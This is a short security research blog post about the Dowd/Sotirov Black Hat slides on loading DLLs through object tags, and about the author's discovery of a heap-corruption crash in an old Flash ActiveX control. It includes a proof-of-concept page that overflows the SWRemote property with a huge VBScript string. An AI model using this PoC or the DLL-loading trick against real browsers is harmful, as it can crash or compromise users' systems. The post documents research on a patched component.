A short update of developments this week. Let's start with how to impress girls.

I just read some slides from Blackhat, and one that caught my interest was the slides from Mark Dowd and Alexander Sotirov[1]. I guess I don't have to explain who those gentlemen are. Right, now what caught my eye was a mention about the use of verbatim dll pointers in an object. Usually, with ActiveX we load the classid followed by the id that links to the dll. In this case, they just load the dll into the object and that raises no warning in the Internet Zone. Clearly this is some very notable find and certainly material to impress girls with, because I never assumed that that was possible. It shows again that a solution is always in it's environment. It's simple, but brilliant.

Loading verbatim dll's:

<object classid="ControleName.dll#NameSpace.ClassName"></object>

That is only one tiny part of the paper, go read it if you are interested. It is a real eyeopener. It covers:

– “Stack Spraying”, an alternative method to heap spraying with some additional benefits
– Exploiting poor permissions, such as Java's RWX memory allocator, and
– Utilizing .NET binaries to map data at an attacker-controlled memory location.

Adobe fixes heap corruption.

Some time ago, I found that the Flash9c.ocx was vulnerable to heap corruption, and that it's possible to overflow the SWRemote property inside the Flash9c.ocx Interface with a very long string generated in VBscript. In my test case it ran for about 30 seconds before crashing and raising an exception, when trying to kill it, it could result in a full system freeze. After updating Flash It seems Adobe fixed this silently in at least Flash9f.ocx. A real bummer for personal research. I cannot reproduce it anymore, because I did not make a copy of Flash9c.ocx for future research. Anyway I learned to make copies now.

Interface IShockwaveFlash : IDispatch

Default Interface: True

Members : 93
 Quality
 ScaleMode
 AlignMode
 BackgroundColor
 Movie
 FrameNum
 SetZoomRect
 Zoom
 Pan
 GotoFrame
 FrameLoaded
 WMode
 SAlign
 Base
 Scale
 BGColor
 Quality2
 LoadMovie
 TGotoFrame
 TGotoLabel
 TCurrentFrame
 TCurrentLabel
 TPlay
 TStopPlay
 SetVariable
 GetVariable
 TSetProperty
 TGetProperty
 TCallFrame
 TCallLabel
 TSetPropertyNum
 TGetPropertyNum
 TGetPropertyAsNumber
 SWRemote
 FlashVars
 AllowScriptAccess
 MovieData
 ProfileAddress
 ProfilePort
 CallFunction
 SetReturnValue
 AllowNetworking
 AllowFullScreen

SWRemote

The property SWRemote inside Flash9x.ocx interface obtains a string passed through the object:

Property Let SWRemote As String

The proof of concept was:

<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'>
 <param name="src" value="foo.swf">

</object>



<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'>
 <param name="src" value="foo.swf">

</object>



<script type='text/vbscript'>



long=String(100000000,"X")



foo.SWRemote=long

bar.SWRemote=long



</script>

Live trace:

Now the interesting thing about this is, I fuzzed all classes in that particular dll without regard if they were considered fuzzable or not. It turns out that, in blackbox fuzzing you can find vulnerabilities that you would not find while fuzzing on assumptions, like COMraider does for example. Secondly, I used two flash objects, or two dll class calls. That made a difference in finding this vulnerability. HD Moore once said that you'll have to know what to fuzz for. This is true in some sense, because it speeds up your fuzzing. But the drawback is, that you cannot encompass all possibilities and quirks. The very vulnerabilities you look for might be not fuzzable without hammering all classes whether they are fuzzable or not, because it turned out that it certainly was in this case.

[1] http://taossa.com/archive/bh08sotirovdowdslides.pdf
source: OWASP News